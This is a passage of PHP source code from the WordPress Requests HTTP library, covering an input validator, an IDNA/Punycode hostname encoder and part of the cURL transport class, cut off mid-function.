	 * Prevents a callback from being injected during unserialization of an object.
	 *
	 * @return void
	 */
	public function __wakeup() {
		unset($this->callback);
	}

	/**
	 * Get the current item's value after filtering
	 *
	 * @return string
	 */
	#[ReturnTypeWillChange]
	public function current() {
		$value = parent::current();

		if (is_callable($this->callback)) {
			$value = call_user_func($this->callback, $value);
		}

		return $value;
	}

	/**
	 * Prevent creating a PHP value from a stored representation of the object for security reasons.
	 *
	 * @param string $data The serialized string.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function unserialize($data) {}
}
<?php
/**
 * Input validation utilities.
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayAccess;
use CurlHandle;
use Traversable;

/**
 * Input validation utilities.
 *
 * @package Requests\Utilities
 */
final class InputValidator {

	/**
	 * Verify that a received input parameter is of type string or is "stringable".
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_string_or_stringable($input) {
		return is_string($input) || self::is_stringable_object($input);
	}

	/**
	 * Verify whether a received input parameter is usable as an integer array key.
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_numeric_array_key($input) {
		if (is_int($input)) {
			return true;
		}

		if (!is_string($input)) {
			return false;
		}

		return (bool) preg_match('`^-?[0-9]+$`', $input);
	}

	/**
	 * Verify whether a received input parameter is "stringable".
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_stringable_object($input) {
		return is_object($input) && method_exists($input, '__toString');
	}

	/**
	 * Verify whether a received input parameter is _accessible as if it were an array_.
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function has_array_access($input) {
		return is_array($input) || $input instanceof ArrayAccess;
	}

	/**
	 * Verify whether a received input parameter is "iterable".
	 *
	 * @internal The PHP native `is_iterable()` function was only introduced in PHP 7.1
	 * and this library still supports PHP 5.6.
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_iterable($input) {
		return is_array($input) || $input instanceof Traversable;
	}

	/**
	 * Verify whether a received input parameter is a Curl handle.
	 *
	 * The PHP Curl extension worked with resources prior to PHP 8.0 and with
	 * an instance of the `CurlHandle` class since PHP 8.0.
	 * {@link https://www.php.net/manual/en/migration80.incompatible.php#migration80.incompatible.resource2object}
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_curl_handle($input) {
		if (is_resource($input)) {
			return get_resource_type($input) === 'curl';
		}

		if (is_object($input)) {
			return $input instanceof CurlHandle;
		}

		return false;
	}
}
<?php

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * IDNA URL encoder
 *
 * Note: Not fully compliant, as nameprep does nothing yet.
 *
 * @package Requests\Utilities
 *
 * @link https://tools.ietf.org/html/rfc3490 IDNA specification
 * @link https://tools.ietf.org/html/rfc3492 Punycode/Bootstrap specification
 */
class IdnaEncoder {
	/**
	 * ACE prefix used for IDNA
	 *
	 * @link https://tools.ietf.org/html/rfc3490#section-5
	 * @var string
	 */
	const ACE_PREFIX = 'xn--';

	/**
	 * Maximum length of a IDNA URL in ASCII.
	 *
	 * @see \WpOrg\Requests\IdnaEncoder::to_ascii()
	 *
	 * @since 2.0.0
	 *
	 * @var int
	 */
	const MAX_LENGTH = 64;

	/**#@+
	 * Bootstrap constant for Punycode
	 *
	 * @link https://tools.ietf.org/html/rfc3492#section-5
	 * @var int
	 */
	const BOOTSTRAP_BASE         = 36;
	const BOOTSTRAP_TMIN         = 1;
	const BOOTSTRAP_TMAX         = 26;
	const BOOTSTRAP_SKEW         = 38;
	const BOOTSTRAP_DAMP         = 700;
	const BOOTSTRAP_INITIAL_BIAS = 72;
	const BOOTSTRAP_INITIAL_N    = 128;
	/**#@-*/

	/**
	 * Encode a hostname using Punycode
	 *
	 * @param string|Stringable $hostname Hostname
	 * @return string Punycode-encoded hostname
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function encode($hostname) {
		if (InputValidator::is_string_or_stringable($hostname) === false) {
			throw InvalidArgument::create(1, '$hostname', 'string|Stringable', gettype($hostname));
		}

		$parts = explode('.', $hostname);
		foreach ($parts as &$part) {
			$part = self::to_ascii($part);
		}

		return implode('.', $parts);
	}

	/**
	 * Convert a UTF-8 text string to an ASCII string using Punycode
	 *
	 * @param string $text ASCII or UTF-8 string (max length 64 characters)
	 * @return string ASCII string
	 *
	 * @throws \WpOrg\Requests\Exception Provided string longer than 64 ASCII characters (`idna.provided_too_long`)
	 * @throws \WpOrg\Requests\Exception Prepared string longer than 64 ASCII characters (`idna.prepared_too_long`)
	 * @throws \WpOrg\Requests\Exception Provided string already begins with xn-- (`idna.provided_is_prefixed`)
	 * @throws \WpOrg\Requests\Exception Encoded string longer than 64 ASCII characters (`idna.encoded_too_long`)
	 */
	public static function to_ascii($text) {
		// Step 1: Check if the text is already ASCII
		if (self::is_ascii($text)) {
			// Skip to step 7
			if (strlen($text) < self::MAX_LENGTH) {
				return $text;
			}

			throw new Exception('Provided string is too long', 'idna.provided_too_long', $text);
		}

		// Step 2: nameprep
		$text = self::nameprep($text);

		// Step 3: UseSTD3ASCIIRules is false, continue
		// Step 4: Check if it's ASCII now
		if (self::is_ascii($text)) {
			// Skip to step 7
			/*
			 * As the `nameprep()` method returns the original string, this code will never be reached until
			 * that method is properly implemented.
			 */
			// @codeCoverageIgnoreStart
			if (strlen($text) < self::MAX_LENGTH) {
				return $text;
			}

			throw new Exception('Prepared string is too long', 'idna.prepared_too_long', $text);
			// @codeCoverageIgnoreEnd
		}

		// Step 5: Check ACE prefix
		if (strpos($text, self::ACE_PREFIX) === 0) {
			throw new Exception('Provided string begins with ACE prefix', 'idna.provided_is_prefixed', $text);
		}

		// Step 6: Encode with Punycode
		$text = self::punycode_encode($text);

		// Step 7: Prepend ACE prefix
		$text = self::ACE_PREFIX . $text;

		// Step 8: Check size
		if (strlen($text) < self::MAX_LENGTH) {
			return $text;
		}

		throw new Exception('Encoded string is too long', 'idna.encoded_too_long', $text);
	}

	/**
	 * Check whether a given text string contains only ASCII characters
	 *
	 * @internal (Testing found regex was the fastest implementation)
	 *
	 * @param string $text Text to examine.
	 * @return bool Is the text string ASCII-only?
	 */
	protected static function is_ascii($text) {
		return (preg_match('/(?:[^\x00-\x7F])/', $text) !== 1);
	}

	/**
	 * Prepare a text string for use as an IDNA name
	 *
	 * @todo Implement this based on RFC 3491 and the newer 5891
	 * @param string $text Text to prepare.
	 * @return string Prepared string
	 */
	protected static function nameprep($text) {
		return $text;
	}

	/**
	 * Convert a UTF-8 string to a UCS-4 codepoint array
	 *
	 * Based on \WpOrg\Requests\Iri::replace_invalid_with_pct_encoding()
	 *
	 * @param string $input Text to convert.
	 * @return array Unicode code points
	 *
	 * @throws \WpOrg\Requests\Exception Invalid UTF-8 codepoint (`idna.invalidcodepoint`)
	 */
	protected static function utf8_to_codepoints($input) {
		$codepoints = [];

		// Get number of bytes
		$strlen = strlen($input);

		// phpcs:ignore Generic.CodeAnalysis.JumbledIncrementer -- This is a deliberate choice.
		for ($position = 0; $position < $strlen; $position++) {
			$value = ord($input[$position]);

			if ((~$value & 0x80) === 0x80) {            // One byte sequence:
				$character = $value;
				$length    = 1;
				$remaining = 0;
			} elseif (($value & 0xE0) === 0xC0) {       // Two byte sequence:
				$character = ($value & 0x1F) << 6;
				$length    = 2;
				$remaining = 1;
			} elseif (($value & 0xF0) === 0xE0) {       // Three byte sequence:
				$character = ($value & 0x0F) << 12;
				$length    = 3;
				$remaining = 2;
			} elseif (($value & 0xF8) === 0xF0) {       // Four byte sequence:
				$character = ($value & 0x07) << 18;
				$length    = 4;
				$remaining = 3;
			} else {                                    // Invalid byte:
				throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $value);
			}

			if ($remaining > 0) {
				if ($position + $length > $strlen) {
					throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
				}

				for ($position++; $remaining > 0; $position++) {
					$value = ord($input[$position]);

					// If it is invalid, count the sequence as invalid and reprocess the current byte:
					if (($value & 0xC0) !== 0x80) {
						throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
					}

					--$remaining;
					$character |= ($value & 0x3F) << ($remaining * 6);
				}

				$position--;
			}

			if (// Non-shortest form sequences are invalid
				$length > 1 && $character <= 0x7F
				|| $length > 2 && $character <= 0x7FF
				|| $length > 3 && $character <= 0xFFFF
				// Outside of range of ucschar codepoints
				// Noncharacters
				|| ($character & 0xFFFE) === 0xFFFE
				|| $character >= 0xFDD0 && $character <= 0xFDEF
				|| (
					// Everything else not in ucschar
					$character > 0xD7FF && $character < 0xF900
					|| $character < 0x20
					|| $character > 0x7E && $character < 0xA0
					|| $character > 0xEFFFD
				)
			) {
				throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
			}

			$codepoints[] = $character;
		}

		return $codepoints;
	}

	/**
	 * RFC3492-compliant encoder
	 *
	 * @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code
	 *
	 * @param string $input UTF-8 encoded string to encode
	 * @return string Punycode-encoded string
	 *
	 * @throws \WpOrg\Requests\Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`)
	 */
	public static function punycode_encode($input) {
		$output = '';
		// let n = initial_n
		$n = self::BOOTSTRAP_INITIAL_N;
		// let delta = 0
		$delta = 0;
		// let bias = initial_bias
		$bias = self::BOOTSTRAP_INITIAL_BIAS;
		// let h = b = the number of basic code points in the input
		$h = 0;
		$b = 0; // see loop
		// copy them to the output in order
		$codepoints = self::utf8_to_codepoints($input);
		$extended   = [];

		foreach ($codepoints as $char) {
			if ($char < 128) {
				// Character is valid ASCII
				// TODO: this should also check if it's valid for a URL
				$output .= chr($char);
				$h++;

				// Check if the character is non-ASCII, but below initial n
				// This never occurs for Punycode, so ignore in coverage
				// @codeCoverageIgnoreStart
			} elseif ($char < $n) {
				throw new Exception('Invalid character', 'idna.character_outside_domain', $char);
				// @codeCoverageIgnoreEnd
			} else {
				$extended[$char] = true;
			}
		}

		$extended = array_keys($extended);
		sort($extended);
		$b = $h;
		// [copy them] followed by a delimiter if b > 0
		if (strlen($output) > 0) {
			$output .= '-';
		}

		// {if the input contains a non-basic code point < n then fail}
		// while h < length(input) do begin
		$codepointcount = count($codepoints);
		while ($h < $codepointcount) {
			// let m = the minimum code point >= n in the input
			$m = array_shift($extended);
			//printf('next code point to insert is %s' . PHP_EOL, dechex($m));
			// let delta = delta + (m - n) * (h + 1), fail on overflow
			$delta += ($m - $n) * ($h + 1);
			// let n = m
			$n = $m;
			// for each code point c in the input (in order) do begin
			for ($num = 0; $num < $codepointcount; $num++) {
				$c = $codepoints[$num];
				// if c < n then increment delta, fail on overflow
				if ($c < $n) {
					$delta++;
				} elseif ($c === $n) { // if c == n then begin
					// let q = delta
					$q = $delta;
					// for k = base to infinity in steps of base do begin
					for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) {
						// let t = tmin if k <= bias {+ tmin}, or
						//     tmax if k >= bias + tmax, or k - bias otherwise
						if ($k <= ($bias + self::BOOTSTRAP_TMIN)) {
							$t = self::BOOTSTRAP_TMIN;
						} elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) {
							$t = self::BOOTSTRAP_TMAX;
						} else {
							$t = $k - $bias;
						}

						// if q < t then break
						if ($q < $t) {
							break;
						}

						// output the code point for digit t + ((q - t) mod (base - t))
						$digit   = (int) ($t + (($q - $t) % (self::BOOTSTRAP_BASE - $t)));
						$output .= self::digit_to_char($digit);
						// let q = (q - t) div (base - t)
						$q = (int) floor(($q - $t) / (self::BOOTSTRAP_BASE - $t));
					} // end
					// output the code point for digit q
					$output .= self::digit_to_char($q);
					// let bias = adapt(delta, h + 1, test h equals b?)
					$bias = self::adapt($delta, $h + 1, $h === $b);
					// let delta = 0
					$delta = 0;
					// increment h
					$h++;
				} // end
			} // end
			// increment delta and n
			$delta++;
			$n++;
		} // end

		return $output;
	}

	/**
	 * Convert a digit to its respective character
	 *
	 * @link https://tools.ietf.org/html/rfc3492#section-5
	 *
	 * @param int $digit Digit in the range 0-35
	 * @return string Single character corresponding to digit
	 *
	 * @throws \WpOrg\Requests\Exception On invalid digit (`idna.invalid_digit`)
	 */
	protected static function digit_to_char($digit) {
		// @codeCoverageIgnoreStart
		// As far as I know, this never happens, but still good to be sure.
		if ($digit < 0 || $digit > 35) {
			throw new Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit);
		}

		// @codeCoverageIgnoreEnd
		$digits = 'abcdefghijklmnopqrstuvwxyz0123456789';
		return substr($digits, $digit, 1);
	}

	/**
	 * Adapt the bias
	 *
	 * @link https://tools.ietf.org/html/rfc3492#section-6.1
	 * @param int $delta
	 * @param int $numpoints
	 * @param bool $firsttime
	 * @return int|float New bias
	 *
	 * function adapt(delta,numpoints,firsttime):
	 */
	protected static function adapt($delta, $numpoints, $firsttime) {
		// if firsttime then let delta = delta div damp
		if ($firsttime) {
			$delta = floor($delta / self::BOOTSTRAP_DAMP);
		} else {
			// else let delta = delta div 2
			$delta = floor($delta / 2);
		}

		// let delta = delta + (delta div numpoints)
		$delta += floor($delta / $numpoints);
		// let k = 0
		$k = 0;
		// while delta > ((base - tmin) * tmax) div 2 do begin
		$max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2);
		while ($delta > $max) {
			// let delta = delta div (base - tmin)
			$delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN));
			// let k = k + base
			$k += self::BOOTSTRAP_BASE;
		} // end
		// return k + (((base - tmin + 1) * delta) div (delta + skew))
		return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW));
	}
}
<?php
/**
 * cURL HTTP transport
 *
 * @package Requests\Transport
 */

namespace WpOrg\Requests\Transport;

use RecursiveArrayIterator;
use RecursiveIteratorIterator;
use WpOrg\Requests\Capability;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Exception\Transport\Curl as CurlException;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Transport;
use WpOrg\Requests\Utility\InputValidator;

/**
 * cURL HTTP transport
 *
 * @package Requests\Transport
 */
final class Curl implements Transport {
	const CURL_7_10_5 = 0x070A05;
	const CURL_7_16_2 = 0x071002;

	/**
	 * Raw HTTP data
	 *
	 * @var string
	 */
	public $headers = '';

	/**
	 * Raw body data
	 *
	 * @var string
	 */
	public $response_data = '';

	/**
	 * Information on the current request
	 *
	 * @var array cURL information array, see {@link https://www.php.net/curl_getinfo}
	 */
	public $info;

	/**
	 * cURL version number
	 *
	 * @var int
	 */
	public $version;

	/**
	 * cURL handle
	 *
	 * @var resource|\CurlHandle Resource in PHP < 8.0, Instance of CurlHandle in PHP >= 8.0.
	 */
	private $handle;

	/**
	 * Hook dispatcher instance
	 *
	 * @var \WpOrg\Requests\Hooks
	 */
	private $hooks;

	/**
	 * Have we finished the headers yet?
	 *
	 * @var boolean
	 */
	private $done_headers = false;

	/**
	 * If streaming to a file, keep the file pointer
	 *
	 * @var resource
	 */
	private $stream_handle;

	/**
	 * How many bytes are in the response body?
	 *
	 * @var int
	 */
	private $response_bytes;

	/**
	 * What's the maximum number of bytes we should keep?
	 *
	 * @var int|bool Byte count, or false if no limit.
	 */
	private $response_byte_limit;

	/**
	 * Constructor
	 */
	public function __construct() {
		$curl          = curl_version();
		$this->version = $curl['version_number'];
		$this->handle  = curl_init();

		curl_setopt($this->handle, CURLOPT_HEADER, false);
		curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1);
		if ($this->version >= self::CURL_7_10_5) {
			curl_setopt($this->handle, CURLOPT_ENCODING, '');
		}

		if (defined('CURLOPT_PROTOCOLS')) {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_protocolsFound
			curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
		}

		if (defined('CURLOPT_REDIR_PROTOCOLS')) {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_redir_protocolsFound
			curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
		}
	}

	/**
	 * Destructor
	 */
	public function __destruct() {
		if (is_resource($this->handle)) {
			curl_close($this->handle);
		}
	}

	/**
	 * Perform a request
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return string Raw HTTP result
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception       On a cURL error (`curlerror`)
	 */
	public function request($url, $headers = [], $data = [], $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (!is_array($data) && !is_string($data)) {
			if ($data === null) {
				$data = '';
			} else {
				throw InvalidArgument::create(3, '$data', 'array|string', gettype($data));
			}
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$this->hooks = $options['hooks'];

		$this->setup_handle($url, $headers, $data, $options);

		$options['hooks']->dispatch('curl.before_send', [&$this->handle]);

		if ($options['filename'] !== false) {
			// phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception.
			$this->stream_handle = @fopen($options['filename'], 'wb');
			if ($this->stream_handle === false) {
				$error = error_get_last();
				throw new Exception($error['message'], 'fopen');
			}
		}

		$this->response_data       = '';
		$this->response_bytes      = 0;
		$this->response_byte_limit = false;
		if ($options['max_bytes'] !== false) {
			$this->response_byte_limit = $options['max_bytes'];
		}

		if (isset($options['verify'])) {
			if ($options['verify'] === false) {
				curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
				curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0);
			} elseif (is_string($options['verify'])) {
				curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']);
			}
		}

		if (isset($options['verifyname']) && $options['verifyname'] === false) {
			curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
		}

		curl_exec($this->handle);
		$response = $this->response_data;

		$options['hooks']->dispatch('curl.after_send', []);

		if (curl_errno($this->handle) === CURLE_WRITE_ERROR || curl_errno($this->handle) === CURLE_BAD_CONTENT_ENCODING) {
			// Reset encoding and try again
			curl_setopt($this->handle, CURLOPT_ENCODING, 'none');

			$this->response_data  = '';
			$this->response_bytes = 0;
			curl_exec($this->handle);
			$response = $this->response_data;
		}

		$this->process_response($response, $options);

		// Need to remove the $this reference from the curl handle.
		// Otherwise \WpOrg\Requests\Transport\Curl won't be garbage collected and the curl_close() will never be called.
		curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null);
		curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null);

		return $this->headers;
	}

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data
	 * @param array $options Global options
	 * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options) {
		// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
		if (empty($requests)) {
			return [];
		}

		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$multihandle = curl_multi_init();
		$subrequests = [];
		$subhandles  = [];

		$class = get_class($this);
		foreach ($requests as $id => $request) {
			$subrequests[$id] = new $class();
			$subhandles[$id]  = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']);
			$request['options']['hooks']->dispatch('curl.before_multi_add', [&$subhandles[$id]]);
			curl_multi_add_handle($multihandle, $subhandles[$id]);
		}

		$completed       = 0;
		$responses       = [];
		$subrequestcount = count($subrequests);

		$request['options']['hooks']->dispatch('curl.before_multi_exec', [&$multihandle]);

		do {
			$active = 0;

			do {
				$status = curl_multi_exec($multihandle, $active);
			} while ($status === CURLM_CALL_MULTI_PERFORM);

			$to_process = [];

			// Read the information as needed
			while ($done = curl_multi_info_read($multihandle)) {
				$key = array_search($done['handle'], $subhandles, true);
				if (!isset($to_process[$key])) {
					$to_process[$key] = $done;
				}
			}

			// Parse the finished requests before we start getting the new ones
			foreach ($to_process as $key => $done) {
				$options = $requests[$key]['options'];
				if ($done['result'] !== CURLE_OK) {
					//get error string for handle.
					$reason          = curl_error($done['handle']);
					$exception       = new CurlException(
						$reason,
						CurlException::EASY,
						$done['handle'],
						$done['result']
					);
					$responses[$key] = $exception;
					$options['hooks']->dispatch('transport.internal.parse_error', [&$responses[$key], $requests[$key]]);
				} else {
					$responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options);

					$options['hooks']->dispatch('transport.internal.parse_response', [&$responses[$key], $requests[$key]]);
				}

				curl_multi_remove_handle($multihandle, $done['handle']);
				curl_close($done['handle']);

				if (!is_string($responses[$key])) {
					$options['hooks']->dispatch('multiple.request.complete', [&$responses[$key], $key]);
				}

				$completed++;
			}
		} while ($active || $completed < $subrequestcount);

		$request['options']['hooks']->dispatch('curl.after_multi_exec', [&$multihandle]);

		curl_multi_close($multihandle);

		return $responses;
	}

	/**
	 * Get the cURL handle for use in a multi-request
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return resource|\CurlHandle Subrequest's cURL handle
	 */
	public function &get_subrequest_handle($url, $headers, $data, $options) {
		$this->setup_handle($url, $headers, $data, $options);

		if ($options['filename'] !== false) {
			$this->stream_handle = fopen($options['filename'], 'wb');
		}

		$this->response_data       = '';
		$this->response_bytes      = 0;
		$this->response_byte_limit = false;
		if ($options['max_bytes'] !== false) {
			$this->response_byte_limit = $options['max_bytes'];
		}

		$this->hooks = $options['hooks'];

		return $this->handle;
	}

	/**
	 * Setup the cURL handle for the given data
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 */
	private function setup_handle($url, $headers, $data, $options) {
		$options['hooks']->dispatch('curl.before_request', [&$this->handle]);

		// Force closing the connection for old versions of cURL (<7.22).
		if (!isset($headers['Connection'])) {
			$headers['Connection'] = 'close';
		}

		/**
		 * Add "Expect" header.
		 *
		 * By default, cURL adds a "Expect: 100-Continue" to most requests. This header can
		 * add as much as a second to the time it takes for cURL to perform a request. To
		 * prevent this, we need to set an empty "Expect" header. To match the behaviour of
		 * Guzzle, we'll add the empty header to requests that are smaller than 1 MB and use
		 * HTTP/1.1.
		 *
		 * https://curl.se/mail/lib-2017-07/0013.html
		 */
		if (!isset($headers['Expect']) && $options['protocol_version'] === 1.1) {
			$headers['Expect'] = $this->get_expect_header($data);
		}

		$headers = Requests::flatten($headers);

		if (!empty($data)) {
			$data_format = $options['data_format'];

			if ($data_format === 'query') {
				$url  = self::format_get($url, $data);
				$data = '';
			} elseif (!is_string($data)) {
				$data = http_build_query($data, '', '&');
			}
		}

		switch ($options['type']) {
			case Requests::POST:
				curl_setopt($this->handle, CURLOPT_POST, true);
				curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
				break;
			case Requests::HEAD:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				curl_setopt($this->handle, CURLOPT_NOBODY, true);
				break;
			case Requests::TRACE:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				break;
			case Requests::PATCH:
			case Requests::PUT:
			case Requests::DELETE:
			case Requests::OPTIONS:
			default:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				if (!empty($data)) {
					curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
				}
		}

		// cURL requires a minimum timeout of 1 second when using the system
		// DNS resolver, as it uses `alarm()`, which is second resolution only.
		// There's no way to detect which DNS resolver is being used from our
		// end, so we need to round up regardless of the supplied timeout.
		//
		// https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609
		$timeout = max($options['timeout'], 1);

		if (is_int($timeout) || $this->version < self::CURL_7_16_2) {
			curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout));
		} else {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_timeout_msFound
			curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000));
		}

		if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) {
			curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout']));
		} else {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_connecttimeout_msFound
			curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000));
		}

		curl_setopt($this->handle, CURLOPT_URL, $url);
		curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']);
		if (!empty($headers)) {
			curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers);
		}

		if ($options['protocol_version'] === 1.1) {
			curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
		} else {
			curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
		}

		if ($options['blocking'] === true) {
			curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, [$this, 'stream_headers']);
			curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, [$this, 'stream_body']);
			curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE);
		}
	}

	/**
	 * Process a response
	 *
	 * @param string $response Response data from the body
	 * @param array $options Request options
	 * @return string|false HTTP response data including headers. False if non-blocking.
	 * @throws \WpOrg\Requests\Exception If the request resulted in a cURL error.
	 */
	public function process_response($response, $options) {
		if ($options['blocking'] === false) {
			$fake_headers = '';
			$options['hooks']->dispatch('curl.after_request', [&$fake_headers]);
			return false;
		}

		if ($options['filename'] !== false && $this->stream_handle) {
			fclose($this->stream_handle);
			$this->headers = trim($this->headers);
		} else {
			$this->headers .= $response;
		}

		if (curl_errno($this->handle)) {
			$error = sprintf(
				'cURL error %s: %s',
				curl_errno($this->handle),
				curl_error($this->handle)
			);
			throw new Exception($error, 'curlerror', $this->handle);
		}

		$this->info = curl_getinfo($this->handle);

		$options['hooks']->dispatch('curl.after_request', [&$this->headers, &$this->info]);
		return $this->headers;
	}

	/**
	 * Collect the headers as they are received
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 * @param string $headers Header string
	 * @return integer Length of provided header
	 */
	public function stream_headers($handle, $headers) {
		// Why do we do this? cURL will send both the final response and any
		// interim responses, such as a 100 Continue. We don't need that.
		// (We may want to keep this somewhere just in case)
		if ($this->done_headers) {
			$this->headers      = '';
			$this->done_headers = false;
		}

		$this->headers .= $headers;

		if ($headers === "\r\n") {
			$this->done_headers = true;
		}

		return strlen($headers);
	}

	/**
	 * Collect data as it's received
	 *
	 * @since 1.6.1
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 * @param string $data Body data
	 * @return integer Length of provided data
	 */
	public function stream_body($handle, $data) {
		$this->hooks->dispatch('request.progress', [$data, $this->response_bytes, $this->response_byte_limit]);
		$data_length = strlen($data);

		// Are we limiting the response size?
		if ($this->response_byte_limit) {
			if ($this->response_bytes === $this->response_byte_limit) {
				// Already at maximum, move on
				return $data_length;
			}

			if (($this->response_bytes + $data_length) > $this->response_byte_limit) {
				// Limit the length
				$limited_length = ($this->response_byte_limit - $this->response_bytes);
				$data           = substr($data, 0, $limited_length);
			}
		}

		if ($this->stream_handle) {
			fwrite($this->stream_handle, $data);
		} else {
			$this->response_data .= $data;
		}

		$this->response_bytes += strlen($data);
		return $data_length;
	}

	/**
	 * Format a URL given GET data
	 *
	 * @param string       $url  Original URL.
	 * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query}
	 * @return string URL with data
	 */
	private static function format_get($url, $data) {
		if (!empty($data)) {
			$query     = '';
			$url_parts = parse_url($url);
			if (empty($url_parts['query'])) {
				$url_parts['query'] = '';
			} else {
				$query = $url_parts['query'];
			}

			$query .= '&' . http_build_query($data, '', '&');
			$query  = trim($query, '&');

			if (empty($url_parts['query'])) {
				$url .= '?' . $query;
			} else {
				$url = str_replace($url_parts['query'], $query, $url);
